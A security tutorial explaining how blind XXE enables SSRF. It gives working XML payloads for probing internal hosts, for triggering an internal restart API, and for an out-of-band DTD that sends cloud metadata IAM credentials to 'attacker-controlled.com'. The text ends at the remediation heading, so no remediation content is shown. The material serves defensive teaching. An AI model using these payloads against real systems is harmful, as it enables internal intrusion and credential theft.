Using Blind XXE to Perform SSRF via XML Parsing

Blind XML External Entity (XXE) vulnerabilities allow attackers to induce Server-Side Request Forgery (SSRF) by forcing an XML parser to make backend network requests, even when the server does not return the parsed XML content in its HTTP response. This article explains how blind XXE vectors interact with internal network surfaces, illustrates the mechanics of triggering SSRF through external entity resolution, and outlines best practices for securing vulnerable parsers.

Understanding Blind XXE and SSRF

XML parsers often support external entities—constructs defined in the Document Type Definition (DTD) that resolve values from local files or remote URIs.

When an application processes user-supplied XML without disabling external entity resolution, it evaluates the SYSTEM identifier. In a blind XXE scenario, the application does not display the entity’s parsed contents in the UI or response body. However, the parser still initiates a network connection to fetch the external resource, effectively converting the blind XXE into a Server-Side Request Forgery (SSRF) vector.

How Blind XXE Triggers SSRF

The attack relies on the server initiating network calls on behalf of the attacker. The parser acts as a proxy, allowing the attacker to interact with systems behind firewalls, internal microservices, and loopback addresses.

1. Internal Service Interaction and Port Scanning

An attacker can target internal hosts or non-routable IP addresses (e.g., localhost, 127.0.0.1, or 10.0.0.0/8). By supplying a URI target within the entity definition, the parser attempts to establish a connection.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ELEMENT data ANY>
  <!ENTITY ssrf SYSTEM "http://192.168.1.50:8080/admin/health">
]>
<data>&ssrf;</data>

Even without seeing the response payload, attackers can determine if services exist or ports are open by analyzing: * Response time differences (open ports respond immediately, while filtered ports cause timeouts). * Connection drop errors or HTTP error codes returned by the server.

2. Targeting Cloud Metadata Endpoints

In cloud-hosted environments (AWS, GCP, Azure), internal metadata endpoints (such as http://169.254.169.254/) expose sensitive configuration data and temporary instance credentials.

An attacker can target these endpoints to trigger actions or, when combined with Out-of-Band (OOB) techniques, exfiltrate metadata to an attacker-controlled server.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
  <!ENTITY % remote SYSTEM "http://attacker-controlled.com/eval.dtd">
  %remote;
]>
<data>&oob;</data>

The hosted eval.dtd file dynamically extracts the metadata resource and appends it to an outbound request back to the attacker’s listener:

<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY % eval "<!ENTITY &#x25; oob SYSTEM 'http://attacker-controlled.com/?data=%file;'>">
%eval;

3. Triggering Unauthenticated Internal Actions

If an internal API accepts GET requests to perform state-changing operations (such as resetting a configuration or triggering a batch job), the blind XXE payload can cause the vulnerable server to execute these actions silently.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE reset [
  <!ENTITY trigger SYSTEM "http://internal-task-runner.local/api/tasks/restart">
]>
<reset>&trigger;</reset>

Remediation Strategies

To eliminate blind XXE and the resulting SSRF risks, secure the underlying XML parser configuration: